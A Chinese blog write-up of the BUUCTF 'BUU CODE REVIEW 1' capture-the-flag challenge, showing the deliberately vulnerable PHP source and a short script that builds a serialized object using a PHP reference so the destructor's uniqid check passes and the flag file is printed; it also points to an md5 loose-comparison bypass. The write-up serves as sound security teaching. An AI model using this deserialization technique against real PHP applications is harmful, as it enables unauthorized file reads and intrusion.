• BUU CODE REVIEW 1


    0x01 题目分析

     1 <?php
     2 /**
     3  * Created by PhpStorm.
     4  * User: jinzhao
     5  * Date: 2019/10/6
     6  * Time: 8:04 PM
     7  */
     8 
     9 highlight_file(__FILE__); //高亮显示当前页面源代码
    10 
    11 class BUU {
    12    public $correct = "";
    13    public $input = "";
    14 
    15    public function __destruct() {   //析构方法 
    16        try {
    17            $this->correct = base64_encode(uniqid());   //uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID
    18            if($this->correct === $this->input) {
    19                echo file_get_contents("/flag");
    20            }
    21        } catch (Exception $e) {
    22        }
    23    }
    24 }
    25 
    26 if($_GET['pleaseget'] === '1') {
    27     if($_POST['pleasepost'] === '2') {
    28         if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
    29             unserialize($_POST['obj']);
    30         }
    31     }
    32 }

    PHP析构方法:http://c.biancheng.net/view/7504.html

    PHPuniqid()函数:https://www.w3school.com.cn/php/func_misc_uniqid.asp

    MD5相等但值不相等:https://blog.csdn.net/qq_45320164/article/details/115377084

    0x02 重点分析

    前面的条件满足时都不是很难,最重要的是最后的反序列化问题。

    因为使用uniqid()函数得出的值是以微秒为单位来进行变化的,所以使用普通的方法很难实现(除非你的手速快过微秒,O(∩_∩)O哈哈~)。

    通过序列化构造方法:

     1 <?php
     2 class BUU {
     3     public $correct = "";
     4     public $input = "";
     5 
     6     public function __destruct() {
     7         try {
     8             $this->correct = base64_encode(uniqid());
     9             if($this->correct === $this->input) {
    10                 echo file_get_contents("/flag");
    11             }
    12         } catch (Exception $e) {
    13         }
    14     }
    15 }
    16 $a = new BUU();
    17 $a->input=&$a->correct;
    18 echo serialize($a);

    因为$a->correct的值是随时变化的,所以要在前面添加一个&符号,表引用。

    PHP中引用符号(&)的使用介绍:https://blog.csdn.net/bigbigcao/article/details/82393289

    0x03 结尾

    最后将对象$a的值赋值到obj中得到flag

  • 相关阅读:
    Socket 端口网络监听
    java android 将小数度数转换为度分秒格式
    android popupwindow 位置显示
    【转】习大大的“黄土情结”:中国要富,农民必须富
    【转】中央农村工作会议首次提出人的新农村
    【转】【CDC翻客】移动端App测试实用指南
    【转】测试,人人都是产品经理之测试产品的选择和创造
    【转】易用性测试
    【转】功能测试的经验总结
    【转】在做性能测试之前需要知道什么
  • 原文地址:https://www.cnblogs.com/nmlwh/p/14724233.html
Copyright © 2020-2023  润新知